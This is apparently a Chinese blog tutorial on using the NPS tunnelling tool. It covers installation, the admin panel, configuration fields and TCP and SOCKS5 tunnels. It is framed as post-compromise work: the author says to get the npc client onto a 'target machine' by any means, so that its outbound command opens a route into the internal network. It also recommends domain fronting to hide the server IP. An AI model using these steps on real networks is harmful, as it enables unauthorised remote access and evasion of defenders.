B1gd0g
文章16
标签12
分类2
利用nps进行内网穿透

利用nps进行内网穿透

NPS工具是一款使用go语言编写的轻量级、功能强大的内网穿透工具。支持TCP、UDP流量转发,支持内网HTTP、SOCKS5代理,同时支持snappy压缩(节省带宽和流量)、站点保护、加密传输、多路复用、header修改等。同时还支持web图形化管理。该工具使用简单,相比于FRP,NPS是图形化界面,因此配置更加简单。

工具介绍

NPS工具是一款使用go语言编写的轻量级、功能强大的内网穿透工具。支持TCP、UDP流量转发,支持内网HTTP、SOCKS5代理,同时支持snappy压缩(节省带宽和流量)、站点保护、加密传输、多路复用、header修改等。同时还支持web图形化管理。该工具使用简单,相比于FRP,NPS是图形化界面,因此配置更加简单。

下载地址:https://github.com/ehang-io/nps

安装启动

下载对应系统压缩包后,解压,然后进入解压后的文件夹执行命令进行安装(注意客户端与服务端的区分)

img

linux/darwin

1
2
3
sudo ./nps install
sudo nps start
停止和重启可用,stop和restart

windows

1
2
3
nps.exe install     #管理员身份运行
nps.exe start
停止和重启可用,stop和restart

web端管理

进入web界面,公网ip:web界面端口(默认8080),密码默认为123

修改配置文件

配置文件在 /etc/nps/conf/nps.conf ,只需要修改下面的web的host、账号、密码和端口号即可,其他可保持不变,web端可更直观的进行其他项的更改

名称 含义
web_port web管理端口
web_password web界面管理密码
web_username web界面管理账号
bridge_port 服务端客户端通信端口
https_proxy_port 域名代理https代理监听端口
http_proxy_port 域名代理http代理监听端口
auth_key web api密钥
bridge_type 客户端与服务端连接方式kcp或tcp
public_vkey 客户端以配置文件模式启动时的密钥,设置为空表示关闭客户端配置文件连接模式
ip_limit 是否限制ip访问,true或false或忽略
flow_store_interval 服务端流量数据持久化间隔,单位分钟,忽略表示不持久化
log_level 日志输出级别
auth_crypt_key 获取服务端authKey时的aes加密密钥,16位
p2p_ip 服务端Ip,使用p2p模式必填
p2p_port p2p模式开启的udp端口

img

此为简单快速实用教程,如需高级教程请移步至:https://gitee.com/mickelfeng/nps

web页面

通过修改的账号密码,进行登陆,创建新客户端,添加认证,密钥等配置,下列三个最好选择是

img

img

img

此处即可看到web端已经给出客户端命令,也就是我们在目标机器中需执行的命令

TCP隧道/UDP(同理)

img

此处以远程桌面为例:通过新建TCP隧道,进行TCP连接,客户ID对应客户端处所生成的对应ID,服务器端口选择未被占用端口,否则新建失败,打通TCP隧道之后,只需通过远程桌面连接VPS的4444端口——即可连接到内网10.10.231.12的远程桌面

socks5

img

socks5代理与其他同理,此处只列举两处常用隧道,同理新建socks5隧道后,可直接利用socks5代理工具,连接VPS的5555端口即可对内网进行访问。(下图使用浏览器socks5代理访问内网)

img

客户端上线

想方设法把对应目标系统的客户端搞到目标机器上,利用自动配置好的命令,web版可直观的查看机器上线与否。

image.png

1
2
./npc -server=1.1.1.1:8024 -vkey=12345678 -type=tcp
npc.exe -server=1.1.1.1:8024 -vkey=12345678 -type=tcp

img

客户端上线后就可以自由发挥了。

改造版

通过websocket协议让FRP用上域前置,可以隐藏真实服务ip地址。

参考文章:https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html

下载地址:https://github.com/uknowsec/frpModify

×